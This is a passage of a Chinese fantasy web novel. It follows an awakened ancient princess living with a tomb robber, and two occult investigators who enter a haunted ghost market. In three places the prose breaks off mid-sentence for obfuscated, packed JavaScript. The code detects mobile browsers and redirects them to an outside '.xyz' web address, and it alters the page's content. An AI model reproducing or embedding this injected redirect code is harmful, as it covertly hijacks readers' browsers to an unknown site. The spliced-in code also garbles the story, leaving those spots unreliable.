张京秋皱起眉,同对面匆匆讲完几句话后就把电话先行挂了,手机插回兜里,背着自己的琴包,不动声色地靠近那几个不安分的黄毛仔。 看不下去的不止有他,人群里另有正义大妈嫌恶地喊道:“你看不出来人家不想搭理你吗?非要这么死皮赖脸地纠缠人家,啐!” 被当街驳斥,小混混有点挂不下面子:“关你爹的什么事啊,我有问你吗?少多管闲事,给我滚一边去!” 骂了几句还不解气,他刚想再来几句威胁的话,就感到手臂被人轻拍一下,低头看,方才被搭讪的那女孩正笑眯眯地看着他:“诶,先别吵了,我问你,你刚才说的话当真吗?” “什、什么话?” “给我买手机啊,”女孩眨眨眼,笑起来像个甜蜜的天使,她向前踏了一步,语调里却带上了点不易察觉的危险意味,“……难道你想说话不算数?” 当然不算数! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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恰好这时候,白凌燕的电话又打了进来:“你那边事情解决没?” “好了,”虽然风波平息得似乎有些太轻易了。 不过……张京秋又回想了一遍刚才的情形,凤眼不禁眯起,总觉得那女孩身上有种说不出来的违和感。 无论是人还是物,外围都会包裹有一种名叫“气”的场域,内部发生变化时,往往从外部的气场上也会有所体现,中医说“望闻问切”,排在最前的就是观气望色。 玄学中人本就感知敏锐,虽然没有更近距离的接触,但张京秋还是觉得有那么一瞬间,周遭涌现出了一股极为危险玄妙的陌生气场,径直撞入平和的普通人群中。 他没来得及细想太多,白凌燕就略过了这件无关紧要的小事,直接切入正题:“你让我问的事,我已经从董老板那里问出来了,那玉瓶是他三天之前从老西门街的鬼市上收来的。” “鬼市?” “是的,就是你想的那个鬼市。Z城古迹众多,文玩市场活跃,除了正规的店面,还有一种专门在凌晨开张、天亮收摊的非正规夜间集市,因为卖的大多是土阴之物,来历也不明确,真假参半,所以老Z城人都叫那地方鬼市。” 白凌燕随即又发了个电子坐标过来,地图显示,老西门街在新津路跟青年路的交叉路口,正处Z城最西头,是本地知名的文玩交易汇集地,就算打车过去,也得开一个多钟头。 没剩多长时间准备了。 张京秋简单交付对方几句,又重新打了辆网约车,临走前,他特意看了眼方才那对父女和几个小混混走近的手机店,眉头微蹙。 总归没出什么大乱子,“气”也很干净,想必应该只是那几个黄毛仔倒霉,招惹到了大隐隐于市的道中人,不得不靠钱包出血来平息自己先前犯下的草率错误。 相比之下,还是鬼市和周墓那边的事情更要紧。 张京秋头也不回地拉开车门,引擎发动,很快就直奔下一个线索地点而去。 单向玻璃窗后,姬容笑吟吟地收回了流连在外面的目光,看见旁边的李二狗一直在拿袖子擦汗,满脸好奇地问道:“你很热?” “不!我,我还好,哈哈,”李二狗浑身一颤,迅速缩回手,平白苍老了整整十岁的脸上,挤出一个僵硬无比的讨好笑脸,小心翼翼地问道,“刚才那是……您认识的人?” 姬容眉眼弯弯:“你是在过问我的事情吗?” 李二狗又开始颤抖起来,发抖着,嗫嚅了半天答不出话,恐怖的记忆再度泛上心头,就在他害怕得快跪下时,姬容却毫不在意地撇下了他,托着下巴,看柜姐拿出来的最新款手机。 “美女,这就是所有的颜色和型号了,”最开始提出搭讪的那个黄毛混混咽了口口水,讨好问道,“你有哪个喜欢的吗?” 一整排扁平的铁盒子一字排开,背面的镜头像大眼睛,姬容根本不懂这是什么玩意儿,但这并不妨碍她大大方方地伸出手,指向最右边的手机:“我要那个!” 金灿灿的,一看就很有皇家气概,而且屏幕也特别大,非常适合她的身份。 什么? 黄毛仔脸色猛地扭曲,不仅选最贵的牌子,最贵的型号,还选最贵的色号—— 故意的吧! 他瞪着眼,一转头就对上姬容黑漆漆的眼眸。 少女的眼睛如同漩涡,又黑又深,透不出半点活跃的光彩,平静又高高在上地盯着他。 对上眼神的瞬间,黄毛就像还没来得及出手,就被人重重地打了一拳,刚升腾起的怒气和勇气还没发泄出去,就消失了个干干净净。 他缩瑟着肩膀,忍气吞声地掏出信用卡,往柜姐前一丢:“结账!” “呀,”姬容扬起矜持的笑脸,“谢谢你,顺带一提,我很喜欢像你这样说话算数的人。” 4. 小三轮 路边树影微微地摇晃,姬容坐在奶茶店门口的露天小圆桌旁,兴致勃勃地捣鼓着手上新得的玩具。 这名为“手鸡”的奇异之物,明明看着只是一块平平无奇的微沉铁块,但在侧面的扁平小键被按下后,竟能自动放出光彩,构成变换灵动的多样画面,甚至还可以显示时间,播放音乐,乃至于记录下即时的画面。 说起来,李二狗也有一个这样的手鸡,但是一道裂谷似的大碎缝直接横跨过屏幕,除了发消息和打电话外什么也用不了,远不能跟黄毛主动献给自己的华贵手鸡相比。 姬容非常喜欢这份贡品,连带着对黄毛都有了几分好脸色,决定宽宏大量地原谅对方最开始的轻佻言语。 这个时代的人的风俗本来就跟她那个时候不太一样,女人会穿袒露出大片肌肤的轻薄衣服,男人也把头发剪得短短了,再没了身体发肤受之父母的观念,入乡随俗,姬容也不是不知变通的老古板。 兴许人家也没什么恶意——毕竟一上来就主动给自己送礼物了呢! 她心情一好,就想赏点什么了:“你们有什么想要的奖励吗?” 明明旁边还有空座,但那几个先前搭讪的黄毛混混愣是没有一个敢坐下的,奴仆拘谨似地守在大小姐身旁,充满了不平等的地位感。 偏偏还没一个人对此发出置喙,一方是不在意,一方则是不敢吱声,不少路过的人都会好奇地投来打量视线。 从手机店出来的那一刻,这几人就像被一棒子砸到头上,猛地从晕乎乎的状态里清醒了过来,终于意识到自己惹到了不该招惹的人。 他们哪还有先前的花花心思,顶着姬容的施舍似的笑脸,额头冒出豆大的汗珠,心中只剩下赶紧跑的冲动:“我、我们什么想要的都没有,突然想起来家里还有点急事,你……您要是没别的事,我们要不就就先走了?” “你们不是说要跟我认识一下吗?”姬容后仰,含着笑睨他们几个,“还没加上微信呢,这么急着走干什么?” 混混们顿时脸都白了,支吾了半天,一个屁都蹦不出来。 李二狗两只手各捧着一杯才做好的奶茶出来了,将全糖的那杯抹茶啵啵放到姬容面前后,觑着那几个黄毛倒霉蛋,也不知道自己该不该坐。 站,累得慌,而且他岂能跟几个路上遇到的混混算一档? 但坐吧,又像是自抬身价,跟姬容平起平坐似的。 “……” 三十秒不到的头脑风暴,李二狗却有种仿佛回到了大过年时,不得不跟亲戚一起排座次吃饭的那种煎熬感。 纠结半天,他最终还是心一横,一屁股墩坐下来了。 无他,只因出门在外只有自抬身份的,断没有自降身价的。 姬容果然连半个眼神都没有分过来,用行动表明了何为彻底的无视。 现代的简体字跟古体字变化太大,偏旁笔画都缺斤少两。尝试着融入醒来后的新世界也有一个星期了,虽然她还没学会高深的26键打字法,但至少能认得绝大部分的简体字了。 WiFi连的奶茶店,基础系统是店员帮忙调好的,姬容很聪明,没花多少时间,就上手了这个新玩具的操作方式。 下载,注册,弹出实名页。 “烦死了,这世界的户籍怎么抓这么严,”姬容小声嘟哝一声,烦躁地抓了把头发,由衷地怀念了把造张假纸盖假印就能出门的时代,随手把手机塞进李二狗怀里,“给我把剩下的弄完。” 她这一觉,一睡就是将近两千年的光阴。 四周的高楼大厦比皇宫更精致,踏进钢筋水泥的建筑,舒适的冷风就迎面吹来,道路平坦整齐,四通八达,贯通在城市的每一个角落。 奇形怪状的黑色野兽咆哮着驱驰其上,被关在里面的人居然毫不畏惧,满脸笑容的样子,竟还比乘奔御风的神仙更坦荡。 姬容手里捏着塑料吸管,把淡绿饮料里的黑色珍珠搅得咕叽作响,心想这真是个奇怪的世道。 就像她合眼前还是金枝玉叶的公主,睡醒就变成了封建余孽的黑户一样。 世事太莫测,还是把握当下吧。 偏偏这个时代的身份管理还奇严无比,一个随身携带的铁块“手鸡”,就能包涵一个人几乎所有的身份证明。想到这里,姬容就不由得庆幸起自己当初还好留了一个盗墓贼,不然出来后还得再费劲找个倒霉蛋当外置身份证用。 本来她和李二狗今天出门,就是为了买新手鸡,谁让那几个混混倒霉,居然自己撞上了枪口。 “仙人,”李二狗双手捧着手机,声音小得像蚊子,“不仅是微信,上面的软件我都给您注册好了。” 应用商店的小花招太多,姬容难以推拒,对此还下了一二三四个小视频软件,她也不知道是没注意到李二狗隐藏在谨小微慎下的讨好,还是觉得这一切都理所当然,“嗯”了一声就接过手机。 李二狗:“其实还差了一步绑卡,您暂时只能发消息,不能转账收发钱,等回去帮您绑上卡就没事了。” 姬容:“在外面不能绑?” 李二狗羞愧地低下狗头:“我不记得银行卡号了。” “……你不就只有一张卡吗?” 总共就那三瓜两枣的钱,这都能忘,也活该这么多年一直没挣到什么大钱。 姬容对自己的现任大总管水平很不满,转头就把手机递向那几个为此贡品出主力的慷慨解囊哥,空着手敲敲桌子,只说了一个字: “加。” 黄毛仔半点也不敢反驳,兢兢业业地同时操作着两部手机,看着自己三年前买的老手机,和姬容崭新的土豪金新机,一时只觉得悲从心来,恨不得呕出一口血来。 操作完了,按理说人也该滚蛋了,但那个最先开头的混混却跟脑子坏了似的,明明同伴的眼睛都快眨到抽筋了,犹豫着问姬容道:“就加个好友,然后就把我们都放走吗?” 此话一出,他那几个朋友看自己的眼神完全变成了在看一个智障。 什么叫就加个好友? 买手机的钱不算钱吗? “你还觉得不够吗?”姬容也有些吃惊,“那要不……你给他也买个新的?” 这个“他”,自然指的就是佝偻在一旁的李二狗。 也是活久见了,居然还有人热情到这个程度,可以称得上一句有古仁人之风了。 闻言,李二狗惊异抬头。 “古仁人”黄毛:“……那还是算了。” 他自己都不知道自己说这话的时候在期待什么,脑热过后,就带着哥们一溜烟地跑远了。 李二狗的电动三轮车停在街尾,也只有这种地方才能停这么大块头一车,仅仅是半个多小时没见,车上就不知道被谁见缝插针地贴了俩开锁小广告,巴掌大的纸片儿贴在蓝色车身上,就像手臂上多出两块白癣一样格格不入。 等李二狗吭哧吭哧地拿车里的刮刀把广告清理干净后,姬容才背着手地跳上后座,她气质好,就算穿着最简单的衬衫长裤,坐在三轮车上,素净的脸被乌发衬着,也有种校园女神坐在樱花树下执卷读书的优雅范儿。 突噜噜,小三轮出击! “我想买辆那种座驾。”姬容忽然道。 李二狗:“啥?” 他顺着后视镜里姬容的视线看去,一辆通体油亮的黑色汽车与他们的小三轮擦肩而过,矫健如风驰电掣,袅袅的车尾气里隐约露出四个串联的光洁小圈。 “……” 姬容的态度十分认真:“你不觉得这种座驾更能衬托我的身份吗?” 能买是能买,反正现在家里的主要收入,就全靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491087|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后这人倒卖自己的陪葬品,问题是李二狗没有驾照,想现在去考一个,显然也不现实。 姬容问:“那你会开吗?” “略通一二。” 也就在电玩城玩过的那种略通吧。 李二狗犹豫道:“但是交警会检查,没证的话被查到就完蛋了。” “没关系,会开就行了,”姬容露出一个可爱的笑容,柔声道,“我连身份证都没有,有我罩着你,你怕什么?” 李二狗一个前劳改分子,都被这封建余孽的法外狂徒作风震撼到说不出了。 狂,太狂了! 路旁两岸的风景逐渐荒芜,从高楼变成平缓低矮的农村自建房,金色的田野覆盖上视野。 当初从墓里活着出来的只有一个跪得最快的李二狗,别的盗墓贼不自量力,还想拿对付普通诈尸的办法对付姬容,黑狗血还没泼到她身上,就被悉数掐死。 没了别的选择,姬容也只能先委屈自己落脚在了李二狗家里。 他家在Z城东边的一个农村,除了李二狗,活着的家人还有老娘和哥嫂,因为太不成器,之前还因为偷电瓶进了局子,哥嫂那边很讨厌他,把老娘接进城里后,也不许他来往,李二狗就一个人住在乡下老家,因为才三出宫了局子,就跟着老乡陈虎去下墓,所以突然回老家的事就连他哥嫂也不知道,正好够窝藏一个姬容。 左右的邻居问起来,李二狗就结结巴巴地解释说这是在城里打工时,认识的老板女儿,最近要来乡下采风,借住在他家。 因为李二狗家最近突然多了不少开支,就好像突然发财了似的,加之姬容长得好看又贵气,一时也没谁怀疑这话的真假。 三轮车最终停在一栋两层高的乡下自建房前,墙上的白漆都有些发灰了,但经过李二狗的拾掇,内里的环境倒也还可以,看在现代化的硬件份上,姬容没有太计较住处条件。 她一个人独占了整个二楼,一回家,李二狗就老老实实地滚去做饭干活,姬容顺着楼梯回自己的地盘,顶灯被骤然打开,就看见满地都是散乱的金银玉器,被剥去阴郁的尘灰气后,满室竟有种珠光宝气、蓬荜生辉之感。 姬容毫不在意地随脚踢开一只金镶玉壶,哐当声里水壶滚得老远,才把自己直笔笔地砸进沙发里,安详闭上眼,楼底就响起一阵同步的闷响。 紧接着是按耐不住激动之情的急促脚步声。 姬容:“有事启奏。” “刚刚鬼市管理员给我发消息,”李二狗土黄的脸上浮现潮红,难言喜色,“有一个外地老板,听说了鬼市的名气,准备今晚去看看,说是不差钱,只要古董,真古董,年代越久越好,我们要不要也去?” “不去。” 如同一盆冷水倏地浇灭了李二狗的热情,他满脸兴奋还没收起,就被姬容冷冰冰的拒绝转化成畏惧,脚踏在楼梯上,也不知道是该上还是该下。 踌躇半天,他才鼓起勇气道:“我知道这边离鬼市是远了点,通知晚了是我的错,要是仙人您晚上觉得麻烦,我自己带着东西去也行。” 李二狗甚至不惜主动加了砝码:“您不是想买车吗?今晚要是能成单子的话,明天就可以进城买车了!” 灯泡忽明忽暗地闪动起来,最后啪的一声熄灭,熟悉的黑暗和半空里幽幽的叹气声,惊得他立马闭上了嘴。 猛然回想起自己是在跟谁说话,冷汗顿时沁出,李二狗抖如筛糠,不敢再吱声。 “我原本以为你是最识时务的,原来是真傻,”姬容睁开眼,翻了个身,依然懒洋洋地躺着,眼珠不断向上翻,正对上停在窗外的一只乌鸦,“钩直饵咸,这也能上当。” 两双血玉似的红眸对上,窗外的乌鸦沙哑地叫了一声,眼瞳逐渐从有神褪色至无神,最后扑棱着厚厚的羽翅,向西飞走。 5. 鬼市 黄云阴天,夜鸦西飞。 Z城发展很不均衡,城乡建交在一起,像老西门街这种地方,就是典型的老城区。 本来就发展得一般,还有个叫什么古镇的4A级景区,为了契合整体的建筑风貌,这整片地方不是低矮青石民居,就是专宰外地人的仿古商铺。 时间腾挪到夜半11点,将近子时,不知道从哪响起一声声打梆声,苍凉寂走,家家户户门宅紧闭。 总之,衬托得不太像阳间。 外边吹的风有点冻人,张京秋穿一身御寒的藏青冲锋衣,给自己戴上面具,青面獠牙,视之可怖。 背上空荡荡的,白天还随身携带的琴包这会儿被留在酒店, 他旁边是苦哈哈检查装备的周步虚,同样带着一副纯白的鬼面具,正检查挎包里的符箓、罗盘和铃铛等道具,以及今晚最重要的,银行卡。 “你这招有用吗?”周步虚低着头问道,“怎么就能笃定老董家的玉瓶是从王姬墓偷出来的啊?那瓶子就卖了十二万,盗墓贼都精死了,哪有这么便宜的真货。” 假装大老板来鬼市收货的主意就是张京秋提的,周步虚负责演大老板,张京秋则扮演他请来的大师。 老板的钱也不是大风刮来的,何况还是趟鬼市这种没保障的地方,不带个懂行的人帮忙相看才叫奇怪呢。 周步虚又说道:“而且,你还没把白大小姐带上,光靠我俩,看得明白古董这东西吗?” 张京秋瞥他:“没办法,你干的事她也能干,她干的事你干不了。” 他们这支队伍从学校里派出来的时候共有六个人,俱是玄学界喊得出名字的天之骄子,中途因为意见不合,又从中分成两小队,各自走各自的路线,其中一支就是由张京秋带头。 除了他俩,还有一个白凌燕,出身自玄学界“一府六姓八校”之一的白氏。 鬼市毕竟是专门交易明器的市场,又是在这个敏感的时间点,名字上还带了个鬼,阴气重得离谱。 女性体质偏阴,要是平时那些打架的任务就算了,但他们今晚来鬼市只为查人,不为生事,白凌燕便没有跟着一起来,而是走她们白家的专线,去排查Z城正经的古董贩线,跟张周两人一明一暗地配合。 至于为什么这么急着就奔来鬼市,也很好理解。 “王姬墓从意外面世到现在,才不到一个月,东西在手上连压都不压一下就拿出来卖,只有两个可能,一是盗墓贼非常的缺钱,二则是没有经验,不懂行。能有本事下周墓的盗墓贼基本可以排除后面那个可能。” “至于会不会在今晚就遇到,”张京秋实话实说道,“我也不确定,只有一半的把握。” 毕竟也不知道卖东西的盗墓贼到底缺多少钱,一只白玉长颈瓶十二万,说多不多说少不少,也够花一阵子了。 何况他们也不一定只卖了这一件。 下斗倒卖这行本来就是又缺德又来钱快,审时度势的眼力见是必备素养,他们想抓人就必须快点行动,迟则生变。 周步虚叹了口气,右手握拳,大拇指顶着食指,哒的一声,将上面的硬币高高抛起。 钢镚儿在半空里滑出一道流畅的抛物线,正面人像朝上。 “鬼市开门了,”简单占卜后,周步虚收起硬币,一抬下巴,“秋儿,咱走起!” 老Z城作为历史名都,一大景点就是古城墙,横穿过城区和附近山岭,有一段城墙正好伸到西边,鬼市就靠着古城墙,开在它的根脚上。 前山后墙,常年照不见光,再加上这块地历史上发生过不少攻城战役,是名副其实的四阴之地。 这也是没让白凌燕一同跟来的原因之一。 带鬼面具是Z城鬼市特有的规矩,听说因为这地实在太阴了,就连真的孤魂野鬼也忍不住来凑热闹,为了避免被这些野鬼吸走身上的阳气,所有来趟鬼市的人都必须带上鬼面具,用以遮掩自己的活人身份。 张京秋拉紧了冲锋衣领,领着周步虚,沿无车经过的大马路向西直行,约莫走了十分钟,视野里忽然出现一只破破烂烂的旗幡,上面落着两个人头大的古朴红字: 鬼、市。 旗幡上还悬挂了一串五帝钱,和一副大大的鬼面具,提醒与警示之意并存。 两人交换过眼神,先前他们来这踩点的时候,并没有看见这附近有什么鬼市的旗子。 就好像凭空出现似的。 一言以蔽之,邪门。 张京秋默默心想,不愧是Z城的鬼市,处处都透着股不同寻常的意味。 天际横飞过乌鸦,伴随“呱呱”的嘶哑啼叫,张翅黑影在地面上一闪而过,张京秋调整步伐,慢慢落到周步虚身后,以贴合今晚自己演绎的身份。 既然是老板请来的大师,那当然应该跟在雇主身后。 他轻声道:“按照计划走,小心为上。” 周步虚点头。 一踏进那形同虚设的旗门,就仿佛跨过无形的界门,迈入了另一个全新的世界。 无数小摊串联摆在地上,挤占了本就狭窄的人行空间,货物就这样随意地铺平在黄布上,任由挑选。人也多,盘腿坐在地上的,蹲在马扎上的,弯着腰你来我往讲价的,还有正揣着手挑剔扫视过各个摊位的,影影绰绰里满目都是重叠的鬼面,让来者忍不住生产一种就算混进去几个真的也不稀奇的错觉。 喧闹,热闹,是张京秋对鬼市的第一印象。 临靠门的头两个摊子都在卖面具,恐怕是为了防止有不懂规矩的新客没戴面具,特地设在这里的。 意义大概等于小学门口卖红领巾的小卖部,没什么看头,两人无情略过。 抬眼看了一圈,张京秋道:“鬼市比我预计的还要大,光这样逛着太浪费时间了——你罗盘呢?” 罗盘在包里。 周步虚走到一处人稍少些的地方,掏出金罗盘,掐了个诀,指针飞速转动,最终停在正东方。 “机遇在东面。” 他说完,却没有急着收起罗盘,而是又念了个诀,这次指针疯狂转动了半天,先后在四五个方向暂缓停滞,又飞快地转动起来。 “还真有鬼啊,”周步虚嘿嘿一笑,“一二三四五六,不少呢。” 张京秋面具下的神情很淡:“没害过人的就不用管,况且,哪里没有点冤死的孤魂,因果到了,它们会自己下去的。” 周步虚想了想,道:“说的也是,四阴之地对阴物来说可是绝顶宝地,地府直通车呢。” 他抖了个机灵,奈何唯一的听众是个毫无幽默感可言的冰块,对此的反应只有一句冷冰冰的走。 周步虚悻悻跟上。 红眼睛的乌鸦停在枯枝上,看着这俩货一路东下犯贱,找茬无数。 “师傅,你这人偶多少钱?” 周步虚举起一个手臂长的唐三彩人俑,问话的姿势像极了一个不懂行的新人土大款。 带夜叉面具的中年摊主咧开嘴,立马认出新客身上的名牌冲锋衣,随即自信比划出四个手指。 周步虚:“四千块?” 摊主嘴里的金牙闪闪发亮:“no,是十四万。” 周步虚:“……” “釉太新,”就算灯光昏暗,张京秋也看得出这人俑身上油亮的彩釉,离出窑不会超过三天,“放赝品里都是下等货。” 周步虚立马放下人俑,啐了一口黑心摊主:“狮子大开口。” 这样的对话不是第一次发生,也不会是最后一次发生。 “玉钩多少钱?” “八千。” “机械抛光,普通方解石玉,批发价八十。” “古画开个价。” “国画大师唐可云真迹,一口价六十六万六千六。” “纸摸着不对,是摹品,最多一折。” “……” 说实话,要不是这两人身上穿着的冲锋衣一件两万八,还打假呢,早就被摊主给联手打出去了。 最后连张京秋都觉得有点脱离人设了,直到现在,周步虚这个“大老板”还一样东西都没买呢。 这人的薛定谔式抠门德行又发作起来了,只要他觉得值得的,一掷千金都不眨眼,与之相反的就是只要周步虚觉得不值得,哪怕花的不是自己的钱,也坚决抠门到底。 主打的就是一个挑挑剔剔地花了很多钱概念。 张京秋轻咳一声,压低声音道:“……你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491088|185866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 演得太弱智了,这里没有我们要的东西,赶紧找个有水平的买下,把鬼市管理员给引出来。” 别找茬了,有这功夫可以明年给自己报名个315消费节。 没看见周围摊主都在瞪他俩吗? 周步虚不情不愿道:“好吧。” 开玩笑时间结束。 好歹也是远近闻名的鬼市,除了水货,也有不少真货,相看半天,最后周步虚挑了一处角落里的摊子,摊主披着黑斗篷,面前黄布上的东西覆盖有阵阵浓郁阴气,甚至隐隐还有点土腥之气。 他拿起一枚镂彩金铜葫芦,即使在暗夜中,也有隐隐的华光火彩,不用细看,甫一落入手中,那阴凉的手感就证明了是真品。 造型也很漂亮,周步虚掂量两下,觉得还是蛮值的,他问道:“摊主,这个多少钱啊?” 摊主嘿嘿一笑,没急着报价格,而是道:“你不是新人吧,哪条道上的?” 他刚躲在角落,反正也没几个人光顾自己,没少见这两人的“战功赫赫”。 “看破不说破,”能一次性拿出这么多真货,还毫不心虚,周步虚料定摊主也不是寻常人,蹲下来套近乎道,“至于哪条道上的,我跟我兄弟一生行端坐直,走阳光大道,我看老哥你也不是寻常人,又没几个人光顾你,咱交个朋友,你便宜点卖我得了。” 摊主一双黑眼睛藏在面具后,精光闪烁,不慌不忙比了个数字六:“套近乎的话少说,但看你也是个懂的,我就不坑你了,这是战国时的真品,至少这个数保底。” “六十万?” “六百万。” 周步虚立马放下东西:“告辞。” 张京秋面不改色,抬腿就给他屁股来了一脚:“注意人设。” 大老板,六百万对大老板来说连十分之一个小目标都没有,算个球。 该死的有钱人,周步虚磨磨牙,不得不再次蹲下,认命地掏出支票夹:“行吧,六百万就六百万。” “等等。” 临到头,张京秋竟然又喊了停,搞什么啊,周步虚顿时扭头,莫名其妙地瞪着他。 倒是摊主看出后面这个所谓的“跟班”,才是这两人里真正拿主意的,也不阻拦,只含笑看他拿起金铜葫芦端详。 看了半天,张京秋这才呵了一声,话里听不出喜怒:“六百万,算良心价。” 摊主意味不明地笑了笑:“做生意嘛,讲究的不就是个良心。” “价格算良心,货可不算,”张京秋将葫芦放下,“带上器灵才算完整,不带上器灵,想搞‘洄游鱼’?” 西北有一种洄游鱼类,平时生活在高海拔水域,产卵时会跑到低海拔水域,产完再游回平时生活的水域,所以那种货卖出去了还能自己跑回来的骗术也叫洄游鱼,取的就是这个意思。 这种骗术不常见,主要是技术门槛高,张京秋也没想到自己会在这里碰到。 不过能养出器灵的物件也少见,天时地利人和缺一不可,这件金铜葫芦的前主人里必然有气运逆天的非常之人。 摊主叹气道:“小兄弟,我是真想对你们睁一只眼闭一只眼的,但你这样……就让我有点难办了啊。” 张京秋:“?” “装啥呢,器灵都认得出来,还逛毛鬼市,你俩不知道Z城鬼市还有条规矩吗?” 摊主将黑袍一掀,露出兜帽下的完整鬼面,粉脸白煞,舌头老长地垂下,直冲张京秋和周步虚两人翻白眼:“——玄学中人不准踏进鬼市。” “你俩完了,”他冷笑道,“我要跟管理员投诉你们。” 张京秋:“……” 周步虚:“我们咋办?” 他四下里偷看一圈,不看不知道,一看吓一跳,灯火彤彤的鬼市里,不知何时起多出许多道矗立的黑影,黑漆嘛糊的长条也看不清脸,但下意识里就是有感觉,这些多出来的鬼影都在盯着他二人,目光不善。 温度悄然下降,张京秋只好硬着头皮道:“先跟上走吧。” 与此同时,看热闹不嫌事大的盯梢乌鸦却暗自讶然。 “器灵,”她心中疑惑,“这又是个什么玩意儿?” 果然还是死太早了,见识得太少。 6. 鬼域 “这是什么?” 白凌燕接过主管递来的单子,随口问了一句。 会客厅足有一间普通的三室两厅公寓那么大,灯光明亮,两边墙上画着八骏图摹版,十数个白家主管按照自己手上店面的大小和营业额顺次排开,就算大半夜的被喊来,也兢兢业业地换上了板正的黑西装,接受本家二小姐的突击检查。 而白凌燕是这群人里唯一一个没穿正装的,T恤短裤都是桃某直购,猴似地盘腿坐在堂屋最前头的南宫椅上。 乍一看,还以为是什么□□聚会现场,仿佛下一秒那群主管就要齐声大喊“三年之期已到恭贺龙王归位”。 站得离她最近的主管,也就是这群牛马里最有出息的牛马,Z城白氏拍行的代理人白淳擦了把额角的汗,严格按血缘关系来说,他应该算白凌燕的舅爷爷,但白淳是万万不敢在白凌燕面前摆长辈架子的。 “是小姐来之前命令我们收集的Z城盗墓贼名单,”白淳勉强地笑笑,年纪大了,平时这个点他都上床睡养生觉了,“下斗的少有固定团队,就算是同行间也不会什么深交往,还好白氏把控了Z城一大半的文玩市场,从‘供货商’渠道拿到了不少情报。” 单子上标注出了被搜集人的基本人身情况、经常活跃地址和最新出货的信息,粗略一扫,足有上百个名字,活动区域从Z城到附近城市的都有,就这样,白淳也不敢说这张单子的情报就是最全版本。 可想而知,这座千年古城到底把盗墓贼养得有多膘肥体壮。 白凌燕扫了眼单子,就把它收起:“辛苦了,淳爷爷。” “为小姐效劳,是我们的荣幸。” 回头跟鬼市那边的情报核对一下,情况顺利的话,很快就能从重合的人选里勾找出他们要找的人。 白凌燕正漫不经心地想着,就听见白淳颤颤巍巍地说道:“对了,我们在查这些的时候,还遇到了几位小姐的同学,他们好像也在追查盗墓贼相关的事情。” “同学?” 白凌燕挑挑眉,第一反应就是张京秋和周步虚,但他俩早就去鬼市了,那只有可能是剩下几个了。 她不是很想管另外几个人死活,随口便道:“我跟他们不熟,不用搭理,随他们去。” “是。” 突击检查结束,黑西装们鱼贯而出。 * 另一边,张京秋和周步虚跟在戴白无常面具的摊主身后,往鬼市深处走,说是要等着管理员制裁他们。 身后不远处,还有一只凑热闹的红眼乌鸦扑棱着翅膀,不远不近地在天上缀着。 摊主的手里还提着一只白灯笼,透过薄薄的灯笼纸,能看见内里摇曳摆动的青色焰火,像苟延残喘的久病之人呼出的气,没有半点温度。 瘦而长的鬼影矗立在鬼市里,随着走近,张京秋这才发现它们一个个都没有四肢和五官,像黑色的枯树,原野上的冷风几乎要吹进人的骨子里去,目所能及的交易活动已经都停下了,但讲价和吆喝声仍在耳边回荡。 视觉和听觉的差异,共同构成一种感知上的错觉,仿佛身体的一部分已经行差踏错至世界,又难免怀疑自己只是产生了一些幻觉。 异空间,张京秋心想道。 构建异空间需要相当多的力量投入,如果说这片鬼市真的是一片有主的异空间,那它的靠山必然是一个极为强大的鬼王。 不是他和周步虚两个人能解决的,还好白凌燕没来,不然送菜组还能再新增一个受害人案例。 周步虚这下真有点腿软了,他干笑两声,主动跟摊主搭话道:“哥们,我们大概还要走多久啊?” 摊主没有转身,脖子上的头却转了一百八十度,对着他们嘎嘎地笑:“年轻人太虚了吧,走这么几步就没力气了,要多锻炼啊。” 它笑的时候,面具上的脸也在笑,长舌头一摆一摆的,有几次还挨到了周步虚的衣角。 “……” 这是走累了的吗?这不是被吓到走不动了吗! 周步虚是经过专业训练的人,轻易不会被吓到,但在发现自己的身体已经不受自己控制,机械地向前迈腿时,又是另一个情况了。 他脸色都快跟摊主手里的白灯笼一个色了,张京秋看他一眼,忽然在喉咙里嘬出一声短促的鸣叫,像是某种鸟的叫声,说来也奇怪,就这一个音节,却有如一阵狂风,把笼罩在周步虚身上的无形阴雾直接给吹拂开了。 灯笼里的火跃动了一下,周步虚重新获得了身体的控制权,四肢回 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鬼面再也遏制不住饥饿的冲动,猛然张大了嘴,整张树皮都扭曲起来,疙瘩似的虫洞便形成五官形状,就在它要破树而出的瞬间—— 啪! 一记鸦翅抽在树干上,正中面中。 鬼面却仿佛被两吨的卡车怼脸碾过,魂都快被扇出死人树身了,当即两眼一翻白,昏死了过去。 “嘎。”吵死了。 寂然中,周围的死人树不着痕迹地离这个倒霉同类远离了十几米。 突然出现的鬼宅高大华美,连门柱都是千年的红木,色泽红润如血,摊主也不复领路时的嬉皮笑脸,挺直了腰杆,告诫道:“这是管理员大人的住所,你们交完罚款就老实地滚蛋,别想着在这里找死。” “交罚款?”周步虚愣了,“你们这也太……” 太有规章吧! 前面吓了这一大通,他还以为不噶个器官之类的走不了了呢。 摊主表情更加鄙夷,像是城里人看乡巴佬:“你不会砸场子被抓了还想逃罚款吧?” 周步虚:“……” 不,他只是被鬼们的现代化管理惊到了。 7. 风紧扯呼 乌鸦容容这会儿心情很复杂。 